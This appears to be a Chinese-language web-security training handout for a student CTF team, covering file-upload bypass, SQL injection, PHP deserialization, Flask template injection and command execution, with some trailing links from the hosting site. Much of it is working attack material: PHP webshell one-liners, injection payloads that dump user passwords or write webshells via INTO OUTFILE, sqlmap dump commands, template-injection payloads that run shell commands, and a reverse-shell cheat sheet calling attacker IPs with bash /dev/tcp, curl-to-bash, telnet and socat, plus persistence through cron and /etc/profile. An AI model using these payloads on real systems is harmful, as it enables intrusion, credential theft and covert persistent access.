SNERT内部集训-WEB
SNERT内部集训-WEB
Day1-2
文件上传
靶场搭建
docker安装,docker pull c0ny1/upload-labs,docker run -it -d -p 8080:80 aa4fdd1dd211
绕过
前端绕过
抓包,->改后缀,修改content-type 为image/jpeg
白名单绕过
%00截断,条件竞争(并发)
黑名单绕过
1.php2,php3,php4,php5,phtml,大小写绕过,空格,.,$DATA,
2..htaccess,.user.ini
3.文件头,GIF89a
4.文件包含漏洞,图片马。或者直接使用GIF89a,图片马的制作copy 1.jpg/b + shell.php 2.jpg 或者直接notepad写入。第14,15关
5.二次渲染,第16关,
6,条件竞争,
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>
中间件解析漏洞
CTF真题
[极客大挑战 2019]Upload,[ACTF2020 新生赛]Upload,[GXYCTF2019]BabyUpload [SUCTF 2019]CheckIn1
SQL注入
数据库基础:
1.解释为什么使用select,information_schema。
在MYSQL中,数据都是存在库中的,库里有表,表里有字段;show databases查看数据库,

自带的库:information_schema:请注意,INFORMATION_SCHEMA 是 MySQL 中的系统数据库,它包含有关数据库、表、列等的元数据信息。SCHEMATA 是 INFORMATION_SCHEMA 数据库中的一个表,它保存了所有数据库的信息。
所以我们要查有哪些数据库的时候,常见的有两种方式,show 和 select。
select schema_name from INFORMATION_SCHEMA.SCHEMATA;

那为什么在注入的时候不用show来爆数据库,表呢?因为在做题时,通常都是通过拼接select语句,比如$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";,用户只需要传入id即可,但是show 和 select 不能同时作为主语使用,也就是不能同时出现在一条执行语句中

那什么时候可以一起使用呢?堆叠注入的时候:分号“;”相当于一条语句的结束。

所以我们平时爆数据库和表时就会使用:
|
Python |

2.解释注入时为什么要先判断列数,Order by
首先先了解表的结构,由行和列组成,第一行代表的是字段名(也就是每一列的属性)

然后就是了解 select 的作用,它是以 行 为单位将内容打印出来;

当我们使用select * from users的时候,就会显示users所有的列数;3列;
当在后面继续拼接使用select 的时候,拼接的select列数必须等于第一个select的列数,就是说儿子要长得和爸爸一样;

因此,在我们使用select拼接时,必须先判断列数,怎么判断?order by :以..排序;
Order by 1,以第一列来排序,order by 2,以第二列排序,但当我只有3列,我使用order by 4,就会报错;


通常流程:找闭合点 :‘ ,“,‘),‘)),“),“))
字符型报错注入
less1
使用‘ ->报错,order by判断列数->判断回显位->爆数据库->爆表
整数型注入
使用1 and 1=1 ->正常,1 and 1=2->无报错,无回显。说明1 and 0 存在整数型。
-1 order by 3--+
闭合方式
’):$sql = "select * from users where id=('id') limit 0,1;" less-3
") :$sql = "select * from users where id=("id") limit 0,1;" less-4
'))
报错回显
less5-6 能闭合但无回显位时,利用报错回显来获得信息,报错回显可以通过,双查询,updatexml(),extractvalue(),具体https://blog.csdn.net/qq_45521281/article/details/105644540
双查询:
|
Python |
updatexml和extractvalue()报错
updatexml注入
首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
报错原因:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
爆库
select updatexml(2,concat('|',(select schema_name from information_schema.schemata limit 4,1),'|'),2);
爆表
select updatexml(2,concat('|',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'|'),2);
爆字段
select updatexml(2,concat('|',(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),'|'),2);
爆数据
select updatexml(2,concat('|',(select concat(name,'|',passwd) from user.users limit 2,1 ),'|'),2);
ps: 通过修改limit的值 0,1 - 1,1 - 2,1 可以逐个的读取数据
类似的:
extractvalue()函数报错注入
暴库
select extractvalue(2,concat('|',(select schema_name from information_schema.schemata limit 4,1),'|'));
爆表
select extractvalue(2,concat('|',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'|'));
爆字段
select extractvalue(2,concat('|',(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),'|'));
爆数据
select extractvalue(2,concat('|',(select concat(name,’|’,passwd) from user.users limit 2,1 ),'|'));
注意extractvalue()函数就只有两个参数。
and updatexml (1, (concat (0x7C, (select @@version))) ,1);
SQL getshell
id = 1'))union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile '/tmp/shell.php'--+
less-7
布尔盲注
实用于回显结果只有两种结果,没有报错提示。
less-8
?id=1' and 1--+ 页面正常
?id=1' and 0--+ 页面不正常
?id=1' and length(database())=8 --+
页面正常显示,说明长度为8
判断数据库名第一位是否大于‘a’:
?id=1'and left(database(),1)>'a'--+
然后判断前两位是否大于'sa':
?id=1'and left(database(),2)>'sa'--+
以此类推.......可以使用二分法提高效率
然后猜解表名(ascii)
第一个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
第一个表的第二个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+
第二个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+
时间盲注
不同payload响应时间不一样
if(1,2,3):如果1为True,则执行2,否则执行3
sleep(x):延迟x秒之后执行
ascii(char):将字符转换为对应的ascii码
substr(str,pos,len):将字符串从pos位开始截取len长度
时间盲注情况:
第一种情况:无论输入什么都只显示无信息页面,如登录页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的SQL注入会有效
第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面,采集用户的IP,浏览器类型,refer字段,session字段,无论用户输入什么,都显示正常页面
第三种情况:差异页面不是由URL中的SQL语句来决定的。这种情况下,也只能使用基于时间盲注
判断注入
payload
if(now() = sysdate(),sleep(6),0)
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
爆破表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
爆破内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
|
Python |
二次注入
less-24
1.注册一个admin'#的账号。
2.登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
堆叠注入
less-38-45
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
38:?id=1';update users set password = "12345" where username ='Dumb';--+
39:?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+
练习:[极客大挑战 2019]FinalSQL
绕过
https://blog.csdn.net/weixin_42478365/article/details/119300607
SQLmap的使用
使用 sqlmap 拖库
借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。
(1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs
(2)使用 --current-db 参数获取当前数据库,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?" --current-db
(3)使用 --tables 参数枚举表名,示例命令如下 :
./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'
(4)使用 --columns 参数枚举字段名,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"
(5)使用 --dump 参数批量获取字段值,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"
(6)使用 --dump-all 参数导出整个数据库。
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all
Sqlmap -r 1.txt
Day2-3
反序列化
反序列化前置知识
序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。
反序列化: 与序列化的过程刚好相反。
对象->序列化->字符串->反序列化->对象
|
Python |
private:会在变量前加类名,并且类名前后有分别要有个%00,也就是空字符。
protect:会在变量前加*号,前后分别有一个个空字符%00。
|
PHP |
对象序列化:
构造pop链的基础,当序列化一个对象时,如果对象里面包含其他对象,依然会对这个其他对象进行序列化;
|
PHP |
反序列化生成的对象里的值,由反序列化里的值(字符串$a)提供;与原有类预定义的值无关;
|
PHP |
魔术方法
|
PHP |
Pop链的构造:
例题1:
|
PHP |
例题2:
链子
|
PHP |
GC回收机制绕过__destruct()
GC回收是什么?垃圾回收站
|
PHP |
绕过:将实例化后的对象设置为数组,array(x,x);再序列化化,最后将序列化后的字符串中的i:1替换为i:0;
|
PHP |
__wakeup绕过,不让这个函数执行,
把生成的序列化字符串的变量值改大
|
PHP |
列题:
|
PHP |
绕过:
|
PHP |
字符串逃逸
$b='O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}s:1:"a";';
echo var_dump(unserialize($b));
在前面字符串没有问题的情况下,;}是反序列化结束符,后面的字符串不影响反序列化结果。
减少 将序列化后的字符串进行了替换。
|
PHP |
逃逸使得v3= snert;
逃逸出v3->snert v4->tetst
构造 ";s:2:"v3";s:5:"snert";} 长度为24
对于A类,正常的序列化如下,
O:1:"A":2:{s:2:"v1";s:2:"ab";s:2:"v2";s:3:"123";}
然后直接在末尾添加我们需要构造的参数
O:1:"A":2:{s:2:"v1";s:3:" ab";s:2:"v2";s:xx:"123";} ";s:2:"v3";s:5:"snert";}
现在只需要控制第一个参数的长度,把他变成25,形成下面这样:这样就会构造出可解析的v3=snert
O:1:"A":2:{s:2:"v1";s:25:" ab";s:2:"v2";s:xx:"123";} ";s:2:"v3";s:5:"snert";}
因此,将重心放在构造v1的长度为25,ab已经占了两位,还剩23位,需要由system()来占位,3个就是24,比23多一个字符,那就在第二个参数后面再加上一个任意字符即可。所以:
v1 ="absystem()system()system()"
v2 = 123x";}";s:2:"v3";s:5:"snert";}
O:1:"A":2:{s:2:"v1";s:26:"absystem()system()system()";s:2:"v2";s:31:"123x";}";s:2:"v3";s:5:"snert";}";}
O:1:"A":2:{s:2:"v1";s:25:"axsystem()system()system()";s:2:"v2";s:x3:"1123";}";s:2:"v2";s:5:"snert";}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}
增加
|
PHP |
逃逸v3->snert
构造:
";s:2:"v3";s:5:"snert";} 长度为24
字符串ls->pwd,每次增多一个字符,也就是会往外吐一个字符。
在第一个参数里构造,需要吐24个字符,一个ls增加一个字符,那么就需要24个lslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:5:"snert";}
增加列题 :phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
减少。user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
session 反序列化
PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。靶场的session文件存在于html下的/tmp目录下。
存取的格式有三种:
默认使用php:键名|键值(经过序列化函数处理的值)
name|s:6:"1FonlY";
php_serialize:经过序列化函数处理的值
a:1:{s:4:"name";s:6:"1FonlY";}
php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
names:6:"1FonlY";
不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT
当序列化的引擎和反序列化的引擎不一致时(写入和读取session的格式不一样),通常是php和php_serialize方式配合。就可以利用引擎之间的差异产生序列化注入漏洞。
比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;},
如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;},在使用php_serialize 引擎的时候,
序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";},
这时,将a:1:{s:4:"name";s:31:" 当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。
总结就是,在上传session处的页面传入序列化的内容,在序列化内容前加 |
例题:save.php处存在以php_serialize的形式传入session,而在vul.php处使用php形式,存在引擎差异,因此在save处提交序列化后的内容。
练习,php中,要让两个值一模一样,可以采用引用,$a=&$b;
class Flag{
public $name;
public $her;
}
$flag = new Flag();
$flag->name = &$flag->her;
echo serialize($flag);
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
phar 反序列化
前言:以往的反序列化漏洞利用都是通过界面直接传入构造好的序列化字符串,然后界面代码中都会有unserilize()对传入的字符串进行反序列化。但是接下来这个漏洞就是,将构造好的序列化字符串藏进一个文件中,当读取这个文件的时候就会自动进行反序列化,而不需要通过unserilize();
基础知识
什么是phar?就是一个文件,相当于是压缩文件,可以理解成和java的jar文件差不多;可以通过phar协议来读取。
phar文件内容组成:
头部信息: xxx<?php xxx; __HALT_COMPILER();?>
manifest:phar文件的属性等信息,以序列化的方式存储。
contents:phar的内容
signature:签名,在末尾。
使用010打开看:

当读取phar文件时,会自动反序列化manifest中的字符串。
Phar 的利用
利用流程:通常要有文件上传的地方,将phar文件上传进服务器。然后再使用phar://协议去读取上传的phar文件,这样就会触发反序列化。
因此要利用这个漏洞需要满足以下条件:
|
PHP |
当上面三个条件都满足之后,我们就可以制作一个包含“序列化字符串”的phar文件,然后把这个phar文件 上传到服务器,再通过第三个条件的文件操作函数读取这个phar文件,最终自动反序列化phar文件中manifest字段中的字符串。
漏洞体验:
在靶场的Phar反序列化“漏洞页面”处,打开环境:在第一个页面我们就已经自动生成一个phar文件(改文件已经自动构造好序列化链子)到服务器;
第二个界面代码如下:
|
PHP |
phar文件的制作
有固定的模板,我们需要解决的是依然是构造 pop 链。将构造的链子写进manifer字段中;
|
PHP |
注意:制作phar文件的php环境需要>5.0,并且php.ini中:phar.readonly=Off,否则会报readonly的错误
phar反序列化列题
|
PHP |
制作phar文件,先构造链子,这道题pop链很简单,直接$snert = new Testobject()就行,反序列化时就会自动触发destruct函数。
直接套模板:
|
PHP |
将生成的phar文件上传,能上传什么格式就将生成的文件改成什么格式,不影响phar解析。
比如这道题只能上传jpg,那么直接将snert.phar的后缀改为snert.jpg,然后上传就行。

Day3-4
SSTI模板注入
前置知识,漏洞成因flask
|
Python |
上述代码将传入的字符串直接当成字符串去传递给html_str代码,不会解析:
当代码如下所示:
|
Python |
我们可以控制输入,这是直接进行渲染。输入snert={{7*7}}:
继承关系和魔术方法
继承关系:

通俗点说就是,object 是祖先,下面有很多子类,子类下面又有很多函数;
|
Python |
''.__class__当前类:

''.__class__.__base__ 当前类的父类:

''.__class__.__base__.__subclasses__() object下面的所有子类:

''.__class__.__base__.__subclasses__()[12] 选择其中的一个子类:
''.__class__.__base__.__subclasses__()[19].__init__:初始化,如果结果带wrapper的说明没有重载,不能用,寻找不带wrapper的:
当找到已经重载的类,比如<class 'os._wrap_close'> 就可以加载改类下可用的函数:
''.__class__.__base__.__subclasses__()[133].__init__.__globals__

调用函数,有三种调用:
1.类函数,子类可以直接调用的函数:比如文件读取<class '_frozen_importlib_external.FileLoader'>类下面的get_data函数;
''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")
2.重载函数,比如当前下面的危险函数popen:
''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()
不加read()返回的是地址;
3.内嵌函数,先使用__builtins__加载内嵌函数:再调用内嵌函数:
''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") #eval()里面就可以写python代码。
如果globals下面没有可以直接利用的重载函数,就加载内嵌函数,使用内嵌函数来命令执行。
通过演示可以知道:类的顶端是object类,object类下面有很多子类,比如str类,int类....,这些子类下面又有一些可用的函数,我们可以调用。
文件读写
1.file来读
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能:
|
Python |
2.<class '_frozen_importlib_external.FileLoader'>类
先找<class '_frozen_importlib_external.FileLoader'>类的位置
|
Python |
3.读取配置文件中的FLAG
|
Python |
找类所在的位置使用脚本跑。
|
Python |
小通用查找脚本:
|
Python |
命令执行
0.可直接使用lipsum
{{lipsum.__globals__['os']['popen']('ls').read()}}
1.利用内嵌函数的eval 进行命令执行
先寻找含有eval的内嵌函数:脚本:(改为通用)
|
Python |
若查出来为59,则直接使用下面payload。
|
Python |
当然可以直接利用上面的脚本直接找popen:
|
Python |
2.利用warnings.catch_warnings 进行命令执行
|
Python |
(2)利用 _ _ import _ _ 进行命令执行
|
Python |
3.利用os模块来执行命令
在其他函数中直接掉用os模块来执行os.popen()
(1)通过config
|
Python |
(2)通过url_for
|
Python |
(3)子类中的os模块
先查找含有os模块的子类:
|
Python |
{{''.__class__.__base__.__subclasses__()[171].__init__.__globals__['os'].popoen('ls').read()}}
4.利用importlib类执行命令。
importlib类中的load_module可以引用os
首先先找到importlib的位置
然后就有payload:
|
Python |
5.利用linecache函数执行命令
这个函数中也有os模块,依然是先找linecache的位置
|
Python |
6.利用subprocess.Popen类
依然找它的下标,然后
|
Python |
7.利用任意字符串或特殊变量
|
Python |
绕过
中括号 []
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
|
Python |
unicode字符:[],﹇﹈
引号 ‘’**
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
|
Python |
unicode字符:"",''
单下划线 _
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过。
双下划线 __
同样利用request.args属性。
|
Python |
或者request.values属性。
|
Python |
点 .
''.__class__可以写成 getattr('','__class__')或者 ''|attr('__class__')。
''.eval可以写成 ''|attr('__getitem__')('eval')。
''.__class__可以写成''['__class__']
双花括号{{}}
基础:
在前端可以使用{% %}来包裹编程语句,比如{%for i in range(1) %}。如果是for循环,就要有{%endfor%}结尾,if就{%endif%}
举例:
{%for girl in girls %}
{%if girl=='sdf'%}
<li>{{girl}}</li>
{%endif%}
{%endfor%}
如果{{}}被过滤,可以使用{%%}
1.判断是否可行
{%if 2>1%}success{%endif%} //如果界面返回success说明执行成功,那么我们就可以构造if语句来实现
2.构造,找payload
{% if ''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}
|
Python |
3.找到payload之后,怎么回显呢?
使用{%print()%}
|
Python |
unicode字符:︷︷︸︸
圆括号
unicode字符:⁽⁾,₍₎
对函数执行方式重载,如 request.__class__.__getitem__=__builtins__.exec;,执行request[payload] 时相当于 exec(payload)。
lambda表达式。
无回显的ssti
什么称为无回显呢?就是,如果注入的payload不行,就返回一个特定的信息。如果正确就不返回或返回确定的信息。
1.反弹shell
|
Python |
2.带外注入,通过requestbin 或 dnslog的方式将信息传到外界
什么意思?就是把它执行后的结果返回到我的服务器上来,但是有一个憋端,只能看第一行
(1)在服务器上执行下面命令
python3 http.server 8888
(2执行下面payload
|
Python |
3.纯盲注
|
Python |
外部参数利用(爆破下标)
request.args或request.values。
列目录
|
Python |
读文件
|
Python |
数字
使用set 配合length设置一个变量等于某个数值:
比如,构造20:
|
Python |
就可以得到a=20,靶场利用:
|
Python |

unicode字符:,,0123456789
对象层面set {}=None
使用其他引用:
{{% set config=None %}} => {{url_for.__globals__.current_app.config}}
{{% set __builtins__=None %}} => {{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__}}
del
重载: reload(__builtins__)
获得对应函数的上下文常量:func.__code__.co_consts
禁用config
|
Python |
混合过滤‘,“,'+', 'request', '.', '[',]'
参考:https://www.gem-love.com/ctf/2598.html
使用{%set a=dict(cla=1,ss=2)|jion%} 的特性可以使得{{a}} = class
|
Python |
混合过滤’,“,[],request,+, .._ 0-9,
|
Python |
第二届SWCTF ssti
比上面的还要过滤啦_,不能再使用,数字也过滤,可以使用count
{{lipsum|string|list}} 得到 <function_generatexxxxx>这里面就含有_,再配合set join count就可以得到里面的 _
最终其实就是变形
{{lipsum.__globals__['os']['popen']('ls').read()}}
|
Python |
关键字比如flag,import
拼接
比如过滤“__class__”
{{''["__clas"+"s__"]}}
base64编码
__getattribute__使用实例访问属性时,调用该方法。
例如被过滤掉__class__关键词:
|
Python |
字符串拼接
|
Python |
反转
|
Python |
lower()
|
Python |
清空关键字list
[关键字list变量名].clear()
open("/flag").read()
16进制
.__class__ => ["\x5f\x5fc\x6cass\x5f\x5f"]
8进制
.__class__ => ["\137\137\143\154\141\163\163\137\137"]
.__base__ => ["\137\137\142\141\163\145\137\137"]
.__subclasses__ => ["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]
.__init__ => ["\137\137\151\156\151\164\137\137"]
.__globals__ => ["\137\137\147\154\157\142\141\154\163\137\137"]
.__builtins__ => ["\137\137\142\165\151\154\164\151\156\163\137\137"]
.__import__ => ["\137\137\151\155\160\157\162\164\137\137"]
.popen => ["\160\157\160\145\156"]
.read => ["\162\145\141\144"]
unicode编码
.__class__ => ["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
unicode字符 / Non-ASCII Identifies
0123456789
参考:https://www.compart.com/en/unicode/U+0030
盲注:
|
Python |
Day 5
命令执行绕过
命令执行函数介绍:什么是命令执行函数,我们在Linux系统上执行ls,cat等,windows上执行dir等这些属于命令;在系统的shell窗口我们可以直接输入命令,就可以执行,但是在代码中,我们需要命令执行函数才能执行这些命令,比如system('ls'); 总之,在代码中,命令需要命令执行函数才能起作用。
常见的命令执行函数,system,exec ,passthru , shell_exec , 反引号,popen , proc_open , pcntl_exec;
小误区,eval 函数用于执行字符串中的代码。它接受一个字符串作为参数,并将其解释为 PHP 代码进行执行;相当于解析代码作用,属于危险函数。
绕过:https://blog.csdn.net/m0_64815693/article/details/127268809
常用PHP伪协议
读文件
file:// 协议
读取文件,当要读取某个文件的时候使用,比如:
|
Python |
php://filter读文件
php://filter/read=convert.base64-encode/resource=[文件名]
举例
|
Python |
传参数
正常传参?snert=test
data:// 协议传
用法比如传入snert=test
|
Python |
php://input传
|
Python |
反弹shell总结
1.nc反弹shell
攻击机开启本地监听:
netcat -lvvp 2333
目标机主动连接攻击机:
|
Python |
2.bash反弹
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
|
Python |
以下是针对Bash反弹一句话进行了拆分说明:

点击图片可查看完整电子表格
3.Curl配合Bash反弹shell
这里操作也很简单,借助了Linux中的管道。
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
并开启2333端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl 47.xxx.xxx.72|bash
Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
4.将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
|
Python |
5.将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell
6.利用Socat反弹shell
Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/
安装Socat的方法很简单:
Ubuntu等可以直接使用 apt-get install socat 命令进行安装
也可以去官网下载源码包:http://www.dest-unreach.org/socat
攻击机开启本地监听:
socat TCP-LISTEN:2333 -
或
nc -lvvp 2333
目标机主动连接攻击机:
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
7.利用Telnet反弹shell
当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。
方法一
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
方法二
攻击机需要开启两个本地监听:
nc -lvvp 2333
nc -lvvp 4000
目标机主动连接攻击机:
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
在攻击机2333端口的终端上输入的命令会在目标机上执行,执行的回显将通过4000端口的终端显示出来。
各种脚本反弹shell
Python 脚本反弹shell
当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
|
Python |
php 脚本反弹shell
当目标主机上有php环境时,我们可以用php来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
|
Python |
Perl 脚本反弹shell
当目标主机上有perl环境时,我们可以用perl来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
|
Python |
Ruby脚本反弹shell
当目标主机上有ruby环境时,我们可以用ruby来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
|
Python |
SNERT内部集训-WEB的更多相关文章
- [zabbix] zabbix从内部检测web页面
环境说明: 两台机器各运行一个tomcat实例,通过阿里云slb到后端,假设后端服务挂了一个,从外部访问整个服务还是可用的,所以需要从内部检测web页面. zabbix自带的web场景都是从外部检测w ...
- web常见错误提示总结
在写web程序的时候,经常会出现一些网页错误的数字提示,如果能够明白这些提示的含义,那对于调试程序是有极大帮助的.网上有很多这方面的总结,但为了适应自己的阅读习惯,以及日后的查找方便,就做了一些修改并 ...
- 系统架构:Web应用架构的新趋势---前端和后端分离的一点想法
最近研究servlet,看书时候书里讲到了c/s架构到b/s架构的演变,讲servlet的书都很老了,现在的b/s架构已经不是几年前的b/s架构,其实b/s架构就是web应用开发,对于这样的架构我们现 ...
- 应用服务器和Web服务器
如上图所示,绝大部分的公司会采用Apache+tomcat集群(或jetty集群)来部署公司的Web服务, Web服务器和应用服务器关系,先介绍一下我们常说的服务器: Tomcat服务器,是运行ser ...
- Web安全测试之跨站请求伪造(CSRF)篇
跨站请求伪造(即CSRF)被Web安全界称为诸多漏洞中“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑.本文将简单介绍该漏洞,并详细说明造成这种漏洞的原因所在,以及针对该漏洞的黑盒测试与灰盒子测试具体 ...
- Web应用架构的新趋势
系统架构:Web应用架构的新趋势---前端和后端分离的一点想法 最近研究servlet,看书时候书里讲到了c/s架构到b/s架构的演变,讲servlet的书都很老了,现在的b/s架构已经不是几年前 ...
- ArcGIS 10.5,打造智能的Web GIS平台
2017年新年来临之际,ArcGIS 10.5正式发布.历经几个版本,ArcGIS 10.5已经革新为一个智能的以Web为中心的地理平台,推出更精细的分级授权.全新的i3S三维标准.大数据分析处理产品 ...
- 外网访问本地服务器下的web应用
让本地服务器可以在外网访问的方式有很多,介绍其中一种: 由于本人是在自己电脑上装了一个虚拟机, 测试环境为:虚拟机作为服务器,服务器中装了一个禅道,虚拟机IP192.168.2.221,本人通过tpl ...
- Web服务器Tomcat集群与负载均衡技术
我们曾经介绍过三种Tomcat集群方式的优缺点分析.本文将介绍Tomcat集群与负载均衡技术具体实施过程. 在进入集群系统架构探讨之前,先定义一些专门术语: 1. 集群(Cluster):是一组独立的 ...
- 【微信小程序项目实践总结】30分钟从陌生到熟悉 web app 、native app、hybrid app比较 30分钟ES6从陌生到熟悉 【原创】浅谈内存泄露 HTML5 五子棋 - JS/Canvas 游戏 meta 详解,html5 meta 标签日常设置 C#中回滚TransactionScope的使用方法和原理
[微信小程序项目实践总结]30分钟从陌生到熟悉 前言 我们之前对小程序做了基本学习: 1. 微信小程序开发07-列表页面怎么做 2. 微信小程序开发06-一个业务页面的完成 3. 微信小程序开发05- ...
随机推荐
- 深入解析 Vue Router:构建单页面应用的利器
Vue.js 是一个渐进式 JavaScript 框架,常用于构建用户界面.随着应用的复杂度增加,路由(Routing)变得越来越重要,这就是 Vue Router 的用武之地.Vue Router ...
- 操作系统|C语言模拟实现首次适应和最佳适应两种内存分配算法以及内存回收
